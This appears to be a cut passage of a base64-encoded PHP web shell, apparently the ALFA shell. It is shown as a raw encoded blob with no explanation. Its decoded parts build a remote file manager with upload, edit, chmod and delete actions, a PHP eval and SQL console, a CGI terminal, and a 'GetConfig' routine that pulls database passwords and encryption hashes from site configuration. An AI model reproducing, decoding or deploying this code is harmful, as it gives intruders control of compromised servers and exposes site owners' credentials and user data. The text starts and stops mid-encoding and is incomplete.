jtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fQouZm9vdHRhYmxle3dpZHRoOiAzMDBweDtmb250LXdlaWdodDogYm9sZDsnLighQGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/J30uZGlye2JhY2tncm91bmQtY29sb3I6cmVkO30nOid9JykuJy5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9Lm1haW4gYXtjb2xvcjogI0ZGRjt9Lm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0ICFpbXBvcnRhbnQ7fS5tbDF7IGJvcmRlcjoxcHggc29saWQgIzBFMzA0QTtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfS5iaWdhcmVheyB3aWR0aDo5OSU7IGhlaWdodDozMDBweDsgfS5hbGZhX2N1c3RvbV9jbWRfYnRuIHtwYWRkaW5nOiA1cHg7Y29sb3I6ICMyNGZmMDM7Y3Vyc29yOiBwb2ludGVyO30uYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQge2Rpc3BsYXk6IGJsb2NrO30nLmFsZmFDc3NMb2FkQ29sb3JzKCkuJwo8L3N0eWxlPic7CmVjaG8gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInOwp2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7CnZhciBpc2xpbnV4ID0gIi4oJEdMT0JBTFNbJ3N5cyddIT0id2luIj8ndHJ1ZSc6J2ZhbHNlJykuIjsKdmFyIHBvc3RfZW5jcnlwdGlvbl9tb2RlID0gIi4oX19BTEZBX1BPU1RfRU5DUllQVElPTl9fPyd0cnVlJzonZmFsc2UnKS4iOyI7Pz4KdmFyIGFsZmExXz0iIixhbGZhMl89IiIsYWxmYTNfPSIiLGFsZmE0Xz0iIixhbGZhNV89IiIsYWxmYTZfPSIiLGFsZmE3Xz0iIixhbGZhOF89IiIsYWxmYTlfPSIiLGFsZmExMF89IiIsZD1kb2N1bWVudCxteXNxbF9jYWNoZT17fSxlZGl0b3JfZmlsZXM9e30sZWRpdG9yX2Vycm9yPSEwLGVkaXRvcl9jdXJyZW50X2ZpbGU9IiIscGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxpc19taW5pbWl6ZWQ9ITEsY2dpX2lzX21pbmltaXplZD0hMSxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEsZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMSxyaWdodGNsaWNrX21lbnVfY29udGV4dD1udWxsLGNhbl9oYXNoY2hhbmdlX3dvcms9ITAsYWxmYV9jYW5fYWRkX29wdD0hMSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQ9IiIsYWxmYV9hY2VfZWRpdG9ycz17ZWRpdG9yOm51bGwsZXZhbDpudWxsfSxjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGE9e30sX0FMRkFfQUpBWF89e30sY2dpX2xhbmc9IiIsdXBjb3VudD0xLHRlcm1pbmFsX3dhbGtfaW5kZXg9W10sYWxmYV9jdXJyZW50X2ZtX2lkPTEsYWxmYV9mbV9pZD0wO2Z1bmN0aW9uIHNldChlLGEsdCxpLGwsbyxyLG4scyxjLGYsXyx1KXtkLm1mLmEudmFsdWU9bnVsbCE9ZT9lOmFfLGQubWYuYy52YWx1ZT1udWxsIT1hP2E6Y18sZC5tZi5hbGZhMS52YWx1ZT1udWxsIT10P3Q6IiIsZC5tZi5hbGZhMi52YWx1ZT1udWxsIT1pP2k6IiIsZC5tZi5hbGZhMy52YWx1ZT1udWxsIT1sP2w6IiIsZC5tZi5hbGZhNC52YWx1ZT1udWxsIT1vP286IiIsZC5tZi5hbGZhNS52YWx1ZT1udWxsIT1yP3I6IiIsZC5tZi5hbGZhNi52YWx1ZT1udWxsIT1uP246IiIsZC5tZi5hbGZhNy52YWx1ZT1udWxsIT1zP3M6IiIsZC5tZi5hbGZhOC52YWx1ZT1udWxsIT1jP2M6IiIsZC5tZi5hbGZhOS52YWx1ZT1udWxsIT1mP2Y6IiIsZC5tZi5hbGZhMTAudmFsdWU9bnVsbCE9Xz9fOiIiLGQubWYuY2hhcnNldC52YWx1ZT1udWxsIT11P3U6Y2hhcnNldF99ZnVuY3Rpb24gZmMoZSl7dmFyIGE9YWxmYV9jdXJyZW50X2ZtX2lkLHQ9ImE9IithbGZhYjY0KCJGaWxlc01hbiIpKyImYz0iK2FsZmFiNjQoZS5jLnZhbHVlKSsiJmFsZmExPSIrYWxmYWI2NChlLmFsZmExLnZhbHVlKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIikrIiYiLGk9IiIsbD0wO2lmKGQucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBmb3JtW25hbWU9ZmlsZXNdIGlucHV0W3R5cGU9Y2hlY2tib3hdIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihsKyssaSs9ImZbXT0iK2FsZmFiNjQoZGVjb2RlVVJJQ29tcG9uZW50KGUudmFsdWUpKSsiJiIpfSksMD09bCYmInBhc3RlIiE9ZS5hbGZhMS52YWx1ZSlyZXR1cm4hMTtzd2l0Y2goYWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrYSwiYmxvY2siKSxlLmFsZmExLnZhbHVlKXtjYXNlImRlbGV0ZSI6ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIC5mbWFuYWdlci1yb3ciKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3ZhciBhPWUucXVlcnlTZWxlY3RvcigiaW5wdXRbdHlwZT1jaGVja2JveF0iKTthLmNoZWNrZWQmJiIuLiIhPWEudmFsdWU/ZS5yZW1vdmUoKTphLmNoZWNrZWQ9ITF9KSxkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgLmNoa2J4IikuY2hlY2tlZD0hMTticmVhaztjYXNlImNvcHkiOmNhc2UibW92ZSI6Y2FzZSJ6aXAiOmNhc2UidW56aXAiOmQucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBpbnB1dFt0eXBlPWNoZWNrYm94XTpjaGVja2VkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQ9ITF9KX1fQWpheChkLlVSTCx0K2ksZnVuY3Rpb24oZSl7YWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrYSwibm9uZSIpLGFsZmFGbW5nckNvbnRleHRSb3coKX0sITEsImZpbGVzbWFuX2hvbGRlcl8iK2EpfWZ1bmN0aW9uIGluaXREaXIoZSl7dmFyIGE9IiIsdD0iIjtpc2xpbnV4JiYoYT0iPGEgY2xhc3M9XCJoZWFkZXJfcHdkXCIgb25jbGljaz1cImcoJ0ZpbGVzTWFuJywnLycpO1wiIHBhdGg9Jy8nIGhyZWY9JyNhY3Rpb249ZmlsZW1hbiZwYXRoPS8nPi88L2E+Iix0PSIvIik7dmFyIGw9ZS5zcGxpdCgiLyIpLG89IiIscj1pc2xpbnV4PyIvIjoiIjtmb3IoaSBpbiItMSIhPWwuaW5kZXhPZigiLi4iKSYmKGwuc3BsaWNlKGwuaW5kZXhPZigiLi4iKS0xLDEpLGwuc3BsaWNlKGwuaW5kZXhPZigiLi4iKSwxKSksbCkiIiE9bFtpXSYmKG8rPSI8YSBvbmNsaWNrPVwiZygnRmlsZXNNYW4nLCciK3IrbFtpXSsiLycpO1wiIHBhdGg9JyIrcitsW2ldKyIvJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK3IrbFtpXSsnL1wnIGNsYXNzPSJoZWFkZXJfcHdkIj4nK2xbaV0rIi88L2E+IixyKz1sW2ldKyIvIik7JCgiaGVhZGVyX2N3ZCIpLmlubmVySFRNTD1hK28rIiAiLGFsZmFJbml0Q3dkQ29udGV4dCgpLGw9KGw9dCtsLmpvaW4oIi8iKSkucmVwbGFjZSgiLy8iLCIvIiksZC5mb290ZXJfZm9ybS5jLnZhbHVlPWwsJCgiZm9vdGVyX2N3ZCIpLnZhbHVlPWwsY189bH1mdW5jdGlvbiBldmFsSlMoaHRtbCl7dmFyIG5ld0VsZW1lbnQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7bmV3RWxlbWVudC5pbm5lckhUTUw9aHRtbDtmb3IodmFyIHNjcmlwdHM9bmV3RWxlbWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IiksaT0wO2k8c2NyaXB0cy5sZW5ndGg7KytpKXt2YXIgc2NyaXB0PXNjcmlwdHNbaV07ZXZhbChzY3JpcHQuaW5uZXJIVE1MKX19ZnVuY3Rpb24gX0FqYXgoZSxhLHQsaSxsKXt2YXIgbz0hMTtyZXR1cm4gd2luZG93LlhNTEh0dHBSZXF1ZXN0P289bmV3IFhNTEh0dHBSZXF1ZXN0OndpbmRvdy5BY3RpdmVYT2JqZWN0JiYobz1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKSksdm9pZCAwIT09bCYmKF9BTEZBX0FKQVhfW2xdPW8pLG8/KG8ub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7ND09by5yZWFkeVN0YXRlJiYyMDA9PW8uc3RhdHVzPyJmdW5jdGlvbiI9PXR5cGVvZiB0JiYodChvLnJlc3BvbnNlVGV4dCxsKSxhbGZhQ2xlYXJBamF4KGwpKTo0PT1vLnJlYWR5U3RhdGUmJjIwMCE9by5zdGF0dXMmJihhbGZhQWpheEVycm9yKG8uc3RhdHVzLGwsby5zdGF0dXNUZXh0LG8ucmVzcG9uc2VUZXh0KSxhbGZhQ2xlYXJBamF4KGwpKX0sby5vcGVuKCJQT1NUIixlLCEwKSxvLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLHZvaWQgby5zZW5kKGEpKTp2b2lkIGFsZXJ0KCJFcnJvciAhIil9ZnVuY3Rpb24gYWxmYUNsZWFyQWpheChlKXtfQUxGQV9BSkFYXy5oYXNPd25Qcm9wZXJ0eShlKSYmZGVsZXRlIF9BTEZBX0FKQVhfW2VdfWZ1bmN0aW9uIGhhbmRsZXVwKGUsYSl7dmFyIHQ9Il9fZm5hbWV1cCI7aWYoMCE9YSYmKHQ9Il9fZm5hbWV1cCIrYSksZS5maWxlcy5sZW5ndGg+MSl7Zm9yKHZhciBpPSIiLGw9MDtsPGUuZmlsZXMubGVuZ3RoO2wrKylpKz1lLmZpbGVzWzBdLm5hbWUrIiwgIjskKHQpLmlubmVySFRNTD1pfWVsc2UgZS5maWxlc1swXS5uYW1lJiYoJCh0KS5pbm5lckhUTUw9ZS5maWxlc1swXS5uYW1lKX1mdW5jdGlvbiB1KGUpe3ZhciBhPSExLHQ9MCxpPWFsZmFfY3VycmVudF9mbV9pZCxsPW5ldyBGb3JtRGF0YSxvPSJmaWxlc21hbl9ob2xkZXJfIitpO2wuYXBwZW5kKCJhIixhbGZhYjY0KGUuYS52YWx1ZSkpLGwuYXBwZW5kKCJjIixhbGZhYjY0KGUuYy52YWx1ZSkpLGwuYXBwZW5kKCJhbGZhMSIsYWxmYWI2NChlLmFsZmExLnZhbHVlKSksbC5hcHBlbmQoImNoYXJzZXQiLGFsZmFiNjQoZS5jaGFyc2V0LnZhbHVlKSksbC5hcHBlbmQoImFqYXgiLGFsZmFiNjQoZS5hamF4LnZhbHVlKSksZS5xdWVyeVNlbGVjdG9yQWxsKCJpbnB1dFt0eXBlPWZpbGVdIikuZm9yRWFjaChmdW5jdGlvbihlKXtpZigwPT1lLnZhbHVlLmxlbmd0aClyZXR1cm4hMTtpZihlLmZpbGVzLmxlbmd0aD4xKWZvcih2YXIgYT0wO2E8ZS5maWxlcy5sZW5ndGg7YSsrKWwuYXBwZW5kKCJmW10iLGUuZmlsZXNbYV0pO2Vsc2UgbC5hcHBlbmQoImZbXSIsZS5maWxlc1swXSk7dCsrfSksJCgiZm9vdGVydXAiKS52YWx1ZT0iIiwkKCJfX2ZuYW1ldXAiKS5pbm5lckhUTUw9IiI7Zm9yKHZhciByPTE7cjw9dXBjb3VudDtyKyspe3ZhciBuPSQoInBmb290ZXJ1cF8iK3IpO24mJm4ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChuKSx1cGNvdW50LS19aWYoMD09dXBjb3VudCYmdXBjb3VudCsrLDA9PXQpcmV0dXJuITE7dmFyIHM9InVwX2Jhcl8iK2dldFJhbmRvbSgpOyQoInVwX2Jhcl9ob2xkZXIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIjxkaXYgaWQ9JyIrcysiJyBjbGFzcz0ndXBfYmFyJz48L2Rpdj4iKTtlLmMudmFsdWU7aWYod2luZG93LlhNTEh0dHBSZXF1ZXN0P2E9bmV3IFhNTEh0dHBSZXF1ZXN0OndpbmRvdy5BY3RpdmVYT2JqZWN0JiYoYT1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKSksYSl7dmFyIGM9JChzKTtfQUxGQV9BSkFYX1tzXT1hLGEudXBsb2FkJiYoYy5zdHlsZS5kaXNwbGF5PSJibG9jayIsYS51cGxvYWQub25wcm9ncmVzcz1mdW5jdGlvbihlKXt2YXIgYT1lLnBvc2l0aW9ufHxlLmxvYWRlZCx0PWUudG90YWxTaXplfHxlLnRvdGFsLGk9TWF0aC5mbG9vcihhL3QqMWUzKS8xMCsiJSI7Yy5zdHlsZS53aWR0aD1pfSksYS5vbmxvYWQ9ZnVuY3Rpb24oZSl7MjAwPT09YS5zdGF0dXM/Yy5zdHlsZS5kaXNwbGF5PSJub25lIjphbGZhQWpheEVycm9yKGEuc3RhdHVzLCJ1cGxvYWRfYXJlYSIsYS5zdGF0dXNUZXh0LGEucmVzcG9uc2VUZXh0KSxhbGZhQ2xlYXJBamF4KHMpfSxhLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpe2lmKDQ9PWEucmVhZHlTdGF0ZSYmMjAwPT1hLnN0YXR1cyl7aWYoIm5vcGVybSIhPWEucmVzcG9uc2VUZXh0JiYiW10iIT1hLnJlc3BvbnNlVGV4dCl7dmFyIGUsdD1KU09OLnBhcnNlKGEucmVzcG9uc2VUZXh0KSxsPSIiLHI9ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX3RhYmxlIHRyIikubGVuZ3RoLTM7Zm9yKGUgaW4gdCl7KytyO3ZhciBuPXRbZV0ubmFtZSxzPWVuY29kZVVSSUNvbXBvbmVudChuKSxjPXRbZV0uc2l6ZSxmPXRbZV0ucGVybSxfPXRbZV0ubW9kaWZ5LHU9dFtlXS5vd25lcixwPWxvYWRUeXBlKG4sImZpbGUiKTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIjIitvKyIgLmZtYW5hZ2VyLXJvdyBhW2ZuYW1lPSciK24rIiddIikucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucmVtb3ZlKCl9Y2F0Y2goZSl7fWwrPSc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nK3IrJyI+PHRkPjxkaXYgY2xhc3M9Im15Q2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZltdIiB2YWx1ZT0iJytuKyciIGNsYXNzPSJjaGtieCIgaWQ9ImNoZWNrYm94JytyKyciPjxsYWJlbCBmb3I9ImNoZWNrYm94JytyKyciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nK3IrJyI+JytwKyc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsiPjxhIHJvdz0iJytyKyciIGlkPSJpZF8nK3IrJyIgY2xhc3M9Im1haW5fbmFtZSIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdhdXRvJywnJywnJywnJywnZmlsZScpO1wiIGhyZWY9XCIjYWN0aW9uPWZpbGVtYW4mYW1wO3BhdGg9IitjXysiJmFtcDtmaWxlPSIrcysnIiBmbmFtZT0iJytuKyciIGZ0eXBlPSJmaWxlIiBwYXRoPSInK2NfKyciIG9wdF90aXRsZT0iIj4nK24rJzwvYT48L2Rpdj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9zaXplIj4nK2MrJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9tb2RpZnkiPicrXysnPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nK3UrJzwvc3Bhbj48L3RkPjx0ZD48YSBpZD0iaWRfY2htb2RlXycrcisnIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywnY2htb2QnLCcnLCcnLCcnLCdmaWxlJylcIj4iK2YrJzwvYT48L3RkPjx0ZD48YSBpZD0iaWRfcmVuYW1lXycrcisnIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdyZW5hbWUnLCcnLCcnLCcnLCdmaWxlJylcIj5SPC9hPiA8YSBpZD1cImlkX3RvdWNoXyIrcisnIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAndG91Y2gnLCcnLCcnLCcnLCdmaWxlJylcIj5UPC9hPiA8YSBpZD1cImlkX2VkaXRfIityKyciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAnZWRpdCcsJycsJycsJycsJ2ZpbGUnKVwiPkU8L2E+IDxhIGlkPVwiaWRfZG93bmxvYWRfIityKyciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycrbisiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjxhIGlkPVwiaWRfZGVsZXRlXyIrcisnIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcrcysiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrcysiJykgOiAnJztcIj4gWCA8L2E+PC90ZD48L3RyPiJ9ZC5xdWVyeVNlbGVjdG9yKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX2xhc3RfdHIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIixsKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiRmlsZShzKSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiLCJVcGxvYWRlciIpLGFsZmFGbW5nckNvbnRleHRSb3coKX1lbHNlIGFsZmFTaG93Tm90aWZpY2F0aW9uKCJGb2xkZXIgaGFzIG5vIHBlcm1pc3Npb24uLi4iLCJVcGxvYWRlciIsImVycm9yIik7YWxmYUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGkpfX0sYS5vcGVuKCJQT1NUIixkLlVSTCksYS5zZW5kKGwpfX1mdW5jdGlvbiBhbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZSl7LTE9PSQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJmaWxlc21hbi10YWItYWN0aXZlIikmJiQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIil9ZnVuY3Rpb24gZyhhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpe3ZhciBmbV9pZD0wPT1hbGZhX2ZtX2lkP2FsZmFfY3VycmVudF9mbV9pZDphbGZhX2ZtX2lkLGZtX2lkMj1hbGZhX2ZtX2lkLGZtX3BhdGg9bnVsbD09Y3x8MD09Yy5sZW5ndGg/Y186YyxkX21mX2M9Zm1fcGF0aCxnX2FjdGlvbl9pZD1hbGZhX2JlZm9yZV9kb19hY3Rpb25faWQ7MD09YWxmYV9mbV9pZCYmKHNldChhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpLGRfbWZfYz1kLm1mLmMudmFsdWUpLCJHZXRDb25maWciIT1hJiYiZG93bmxvYWQiIT1hbGZhMiYmaXNsaW51eCYmIi8iIT1kX21mX2Muc3Vic3RyKDAsMSkmJihkX21mX2M9Ii8iK2RfbWZfYyksIkZpbGVzTWFuIj09YT8oYWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsImJsb2NrIiksZ19hY3Rpb25faWQ9ImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkKToiIiE9Z19hY3Rpb25faWQ/YWxmYWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKToiRmlsZXNUb29scyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiYiR2V0Q29uZmlnIiE9YSYmKCJzcWwiPT1hPyhzaG93RWRpdG9yKCJkYXRhYmFzZV93aW5kb3ciKSxnX2FjdGlvbl9pZD1sb2FkUG9wVXBEYXRhYmFzZSgiIikpOiJGaWxlc01hbiIhPWEmJihzaG93RWRpdG9yKCJvcHRpb25zX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcE9wVGlvbnMoYSkpLGFsZmFsb2FkZXIoZ19hY3Rpb25faWQsImJsb2NrIikpO2Zvcih2YXIgZGF0YT0iYT0iK2FsZmFiNjQoYSkrIiZjPSIrYWxmYWI2NChkX21mX2MpKyImIixpPTE7aTw9MTA7aSsrKWRhdGErPSJhbGZhIitpKyI9IithbGZhYjY0KGV2YWwoImQubWYuYWxmYSIraSsiLnZhbHVlIikpKyImIjtpZigiRmlsZXNNYW4iPT1hKXt2YXIgcGFnZW51bT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2dfYWN0aW9uX2lkKyIgLnBhZ2UtbnVtYmVyLmFjdGl2ZS1wYWdlLW51bWJlciIpO251bGwhPXBhZ2VudW0mJihkYXRhKz0icGFnZW51bT0iK2FsZmFiNjQoZ2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiKSksc2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiLDEsMjAxMikpfWlmKGRhdGErPSImYWpheD0iK2FsZmFiNjQoInRydWUiKSwiRmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWFsZmEyKXthbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9YWxmYWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1hbGZhYjY0KGRfbWZfYyksZGwuZmlsZS52YWx1ZT1hbGZhYjY0KGFsZmExKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsdCl7ZXZhbEpTKGUpO3ZhciBpPSExO2lmKGFsZmFMb2FkZXJPblRvcCgibm9uZSIpLCJzcWwiPT1hKXJldHVybiBjb25zb2xlLmxvZyh0KSxsb2FkUG9wVXBEYXRhYmFzZShlLHQpLCExO2lmKCJGaWxlc01hbiI9PWEpe2FsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkLCJub25lIiksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpLmlubmVySFRNTD1lLGZtX3BhdGg9Zm1fcGF0aC5yZXBsYWNlKC9cL1wvL2csIi8iKSwkKCJmaWxlc21hbl90YWJfIitmbV9pZCkuc2V0QXR0cmlidXRlKCJwYXRoIixmbV9wYXRoKTt2YXIgbD1hbGZhR2V0TGFzdEZvbGRlck5hbWUoZm1fcGF0aCk7ZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFiXyIrZm1faWQrIiBzcGFuIikuaW5uZXJIVE1MPWwsYWxmYUZtbmdyQ29udGV4dFJvdygpLCJmdW5jdGlvbiI9PXR5cGVvZiBhbGZhMSYmYWxmYTEoZSksYWxmYUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGZtX2lkKX1lbHNlKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8Ii4iPT10LnN1YnN0cigwLDEpKSYmIi4iPT10LnN1YnN0cigwLDEpJiYoaT0hMCx0PXQuc3Vic3RyKDEpLHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IikpLGl8fGFsZmFsb2FkZXIodCwibm9uZSIpLGxvYWRQb3BVcE9wVGlvbnModCxlKSwicGhwZXZhbCI9PWEmJmFsZmFMb2FkQWNlRWRpdG9yKCJQaHBDb2RlIiksImNvbGR1bXBlciI9PWEuc3Vic3RyKDAsOSkmJmFsZmFDb2xEdW1wZXJJbml0KCl9LCExLCIiPT1nX2FjdGlvbl9pZD8iLiIrYTpnX2FjdGlvbl9pZCksZ19hY3Rpb25faWQ9IiIsMD09Zm1faWQyJiZjIT1jXyYmYyYmaW5pdERpcihjKSk6KGFsZmFsb2FkZXIoYWxmYTMsImJsb2NrIiksX0FqYXgoZC5VUkwsZGF0YSxmdW5jdGlvbihlLGEpe3ZhciB0PWE7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiKygiaWRfZGIiIT1hLnN1YnN0cigwLDUpPyJvcHRpb25fIithOmEpKTt0cnl7KGU9SlNPTi5wYXJzZShlKSkuaG9zdCYmZS51c2VyJiZlLmRibmFtZSYmKCQoImRiX2hvc3QiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX2hvc3QiKS52YWx1ZT1lLmhvc3QpLCQoImRiX3VzZXIiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3VzZXIiKS52YWx1ZT1lLnVzZXIpLCQoImRiX25hbWUiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX25hbWUiKS52YWx1ZT1lLmRibmFtZSksJCgiZGJfcHciKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3B3IikudmFsdWU9ZS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmUucHJlZml4JiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHJlZml4IikudmFsdWU9ZS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZlLmNjX2VuY3J5cHRpb25faGFzaCYmKGEucXVlcnlTZWxlY3RvcigiI2NjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWUuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2goZSl7fWFsZmFsb2FkZXIodCwibm9uZSIpfSwhMSxhbGZhMykpfWZ1bmN0aW9uIGFsZmFHZXRMYXN0Rm9sZGVyTmFtZShlKXt2YXIgYT1lLnJlcGxhY2UoL1wvXC8vZywiLyIpLnNwbGl0KCIvIik7Zm9yKHZhciB0IGluIGEpMD09YVt0XS5sZW5ndGgmJmEuc3BsaWNlKHQsMSk7dmFyIGk9YVthLmxlbmd0aC0xXTtyZXR1cm4gMD09aS5sZW5ndGgmJihpPSIvIiksaX1mdW5jdGlvbiBhbGZhbG9hZGVyKGUsYSl7aWYoMD09ZS5sZW5ndGgpcmV0dXJuITE7dHJ5e3ZhciB0PSQoImxvYWRlcl8iK2UpO2lmKG51bGw9PXQmJiJibG9jayI9PWEpe3ZhciBpPW51bGw7ImVkaXRvciI9PWU/aT1kLnF1ZXJ5U2VsZWN0b3IoIiNlZGl0b3IgLmVkaXRvci